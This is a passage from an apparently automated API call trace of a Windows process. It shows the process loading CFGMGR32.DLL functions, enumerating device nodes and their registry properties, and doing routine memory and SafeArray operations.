lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0204.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0204.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0204.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0204.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0204.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0204.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0204.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0204.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0204.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0204.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0204.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0204.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0204.854] malloc (_Size=0x18) returned 0x196ef0d1d20 [0204.854] CM_Get_Device_IDA (in: dnDevInst=0x38, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HDAUDIO\\FUNC_01&VEN_1AF4&DEV_0022&SUBSYS_1AF40022&REV_1001\\4&3ADB15C9&0&0001") returned 0x0 [0204.854] malloc (_Size=0x48) returned 0x196ef0fc170 [0204.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5af405b3, dwHighDateTime=0x1d9eb0c)) [0204.855] SetEvent (hEvent=0x248) returned 1 [0204.858] SetEvent (hEvent=0x248) returned 1 [0204.859] free (_Block=0x196ef0fc170) [0204.859] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0204.859] malloc (_Size=0xdc) returned 0x196ef0d6890 [0204.859] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0204.860] free (_Block=0x196ef0d6890) [0204.860] malloc (_Size=0x48) returned 0x196ef0fbd10 [0204.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5af66901, dwHighDateTime=0x1d9eb0c)) [0204.860] SetEvent (hEvent=0x248) returned 1 [0204.861] malloc (_Size=0x18) returned 0x196ef0d20c0 [0204.861] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.861] free (_Block=0x196ef0d20c0) [0204.861] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0204.861] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.861] free (_Block=0x196ef0d1ec0) [0204.861] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855fe0 [0204.861] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0204.861] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0204.861] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0204.861] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0204.862] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0204.862] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0204.862] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0204.862] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0204.862] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e2f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.863] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e2f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.864] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0204.864] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855fe0) returned 1 [0204.865] SetEvent (hEvent=0x248) returned 1 [0204.865] free (_Block=0x196ef0fbd10) [0204.865] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0204.865] malloc (_Size=0x492) returned 0x196ef0fc1e0 [0204.865] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0fc1e0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fc1e0, pulLength=0x67117d608) returned 0x0 [0204.866] free (_Block=0x196ef0fc1e0) [0204.866] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0204.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5af66901, dwHighDateTime=0x1d9eb0c)) [0204.867] SetEvent (hEvent=0x248) returned 1 [0204.867] malloc (_Size=0x18) returned 0x196ef0d19a0 [0204.867] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.867] free (_Block=0x196ef0d19a0) [0204.867] malloc (_Size=0x18) returned 0x196ef0d1e60 [0204.867] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.867] free (_Block=0x196ef0d1e60) [0204.867] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0204.868] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.868] free (_Block=0x196ef0d1bc0) [0204.868] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0204.868] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.868] free (_Block=0x196ef0d1ac0) [0204.868] malloc (_Size=0x18) returned 0x196ef0d1da0 [0204.868] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.868] free (_Block=0x196ef0d1da0) [0204.868] malloc (_Size=0x18) returned 0x196ef0d1f00 [0204.868] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.868] free (_Block=0x196ef0d1f00) [0204.868] malloc (_Size=0x18) returned 0x196ef0d1d00 [0204.868] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.868] free (_Block=0x196ef0d1d00) [0204.869] malloc (_Size=0x18) returned 0x196ef0d19e0 [0204.869] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.869] free (_Block=0x196ef0d19e0) [0204.869] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0204.869] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0204.869] free (_Block=0x196ef0d1ee0) [0204.869] malloc (_Size=0x18) returned 0x196ef0d1b60 [0204.869] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.869] free (_Block=0x196ef0d1b60) [0204.869] malloc (_Size=0x18) returned 0x196ef0d1c40 [0204.869] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.869] free (_Block=0x196ef0d1c40) [0204.869] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0204.869] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0204.869] free (_Block=0x196ef0d1bc0) [0204.870] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0204.870] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0204.870] free (_Block=0x196ef0d1ae0) [0204.870] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856e60 [0204.870] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0204.870] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0204.870] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0204.870] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0204.870] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0204.870] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0204.870] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0204.870] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0204.871] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.871] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.871] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.871] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e48, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.872] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e50, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.872] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e58, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.872] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e60, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.872] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e68, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.872] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.873] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e78, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.873] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.873] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e88, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.873] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6e90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.874] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0204.874] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856e60) returned 1 [0204.875] SetEvent (hEvent=0x248) returned 1 [0204.875] free (_Block=0x196ef0fb4a0) [0204.875] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.979] malloc (_Size=0x48) returned 0x196ef0fc120 [0204.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b07185f, dwHighDateTime=0x1d9eb0c)) [0204.980] SetEvent (hEvent=0x248) returned 1 [0204.980] SetEvent (hEvent=0x248) returned 1 [0204.981] free (_Block=0x196ef0fc120) [0204.981] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.981] malloc (_Size=0x48) returned 0x196ef0fc120 [0204.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b098901, dwHighDateTime=0x1d9eb0c)) [0204.982] SetEvent (hEvent=0x248) returned 1 [0204.983] SetEvent (hEvent=0x248) returned 1 [0204.983] free (_Block=0x196ef0fc120) [0204.983] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.983] malloc (_Size=0x48) returned 0x196ef0fb770 [0204.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b098901, dwHighDateTime=0x1d9eb0c)) [0204.984] SetEvent (hEvent=0x248) returned 1 [0204.984] SetEvent (hEvent=0x248) returned 1 [0204.985] free (_Block=0x196ef0fb770) [0204.985] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.985] malloc (_Size=0x48) returned 0x196ef0fba40 [0204.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b098901, dwHighDateTime=0x1d9eb0c)) [0204.985] SetEvent (hEvent=0x248) returned 1 [0204.988] SetEvent (hEvent=0x248) returned 1 [0204.988] free (_Block=0x196ef0fba40) [0204.989] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.992] malloc (_Size=0x48) returned 0x196ef0fb220 [0204.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b098901, dwHighDateTime=0x1d9eb0c)) [0204.992] SetEvent (hEvent=0x248) returned 1 [0204.993] SetEvent (hEvent=0x248) returned 1 [0204.993] free (_Block=0x196ef0fb220) [0204.993] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x38, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0204.994] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0204.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5b098901, dwHighDateTime=0x1d9eb0c)) [0204.994] SetEvent (hEvent=0x248) returned 1 [0204.996] SetEvent (hEvent=0x248) returned 1 [0204.996] free (_Block=0x196ef0fb4f0) [0204.997] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x38, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0204.997] malloc (_Size=0x48) returned 0x196ef0fbe50 [0204.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5b0be347, dwHighDateTime=0x1d9eb0c)) [0204.997] SetEvent (hEvent=0x248) returned 1 [0204.998] SetEvent (hEvent=0x248) returned 1 [0204.998] free (_Block=0x196ef0fbe50) [0204.999] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0204.999] malloc (_Size=0x48) returned 0x196ef0fbae0 [0204.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b0be347, dwHighDateTime=0x1d9eb0c)) [0204.999] SetEvent (hEvent=0x248) returned 1 [0205.001] SetEvent (hEvent=0x248) returned 1 [0205.002] free (_Block=0x196ef0fbae0) [0205.002] CM_Get_Device_IDA (in: dnDevInst=0x39, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2918&SUBSYS_11001AF4&REV_02\\3&11583659&0&F8") returned 0x0 [0205.002] malloc (_Size=0x48) returned 0x196ef0fb720 [0205.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5b0be347, dwHighDateTime=0x1d9eb0c)) [0205.002] SetEvent (hEvent=0x248) returned 1 [0205.003] SetEvent (hEvent=0x248) returned 1 [0205.003] free (_Block=0x196ef0fb720) [0205.004] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0205.004] malloc (_Size=0x124) returned 0x196ef0d6890 [0205.004] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0205.004] free (_Block=0x196ef0d6890) [0205.005] malloc (_Size=0x48) returned 0x196ef0fbb30 [0205.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5b0be347, dwHighDateTime=0x1d9eb0c)) [0205.005] SetEvent (hEvent=0x248) returned 1 [0205.005] malloc (_Size=0x18) returned 0x196ef0d20e0 [0205.005] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0205.005] free (_Block=0x196ef0d20e0) [0205.005] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0205.005] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0205.005] free (_Block=0x196ef0d1ea0) [0205.005] malloc (_Size=0x18) returned 0x196ef0d20c0 [0205.006] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0205.006] free (_Block=0x196ef0d20c0) [0205.006] malloc (_Size=0x18) returned 0x196ef0d1de0 [0205.006] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0205.006] free (_Block=0x196ef0d1de0) [0205.006] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ae0 [0205.006] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0205.006] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0205.006] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0205.006] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0205.006] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0205.006] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0205.006] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0205.006] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0205.007] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.007] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63e8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.007] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.007] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.008] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0205.008] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ae0) returned 1 [0205.009] SetEvent (hEvent=0x248) returned 1 [0205.009] free (_Block=0x196ef0fbb30) [0205.009] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0205.009] malloc (_Size=0x10e) returned 0x196ef0d6890 [0205.009] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0205.010] free (_Block=0x196ef0d6890) [0205.010] malloc (_Size=0x48) returned 0x196ef0fbf90 [0205.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5b0be347, dwHighDateTime=0x1d9eb0c)) [0205.010] SetEvent (hEvent=0x248) returned 1 [0205.010] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0205.011] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0205.011] free (_Block=0x196ef0d1cc0) [0205.011] malloc (_Size=0x18) returned 0x196ef0d1f60 [0205.011] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0205.011] free (_Block=0x196ef0d1f60) [0205.011] malloc (_Size=0x18) returned 0x196ef0d1a20 [0205.011] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0205.011] free (_Block=0x196ef0d1a20) [0205.011] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0205.011] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0205.011] free (_Block=0x196ef0d1ec0) [0205.011] malloc (_Size=0x18) returned 0x196ef0d1980 [0205.011] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0205.011] free (_Block=0x196ef0d1980) [0205.011] malloc (_Size=0x18) returned 0x196ef0d1c80 [0205.012] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0205.012] free (_Block=0x196ef0d1c80) [0205.012] malloc (_Size=0x18) returned 0x196ef0d1a60 [0205.012] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0205.012] free (_Block=0x196ef0d1a60) [0205.012] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0205.012] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0205.012] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0205.012] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0205.012] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0205.012] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0205.012] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0205.012] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0205.012] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0205.168] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee50, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.168] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee58, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.168] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee60, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.169] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee68, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.169] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.169] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee78, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.169] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.170] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0205.170] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0205.170] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.171] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.172] GetProcAddress (hModule=0x7ffa786c0000, 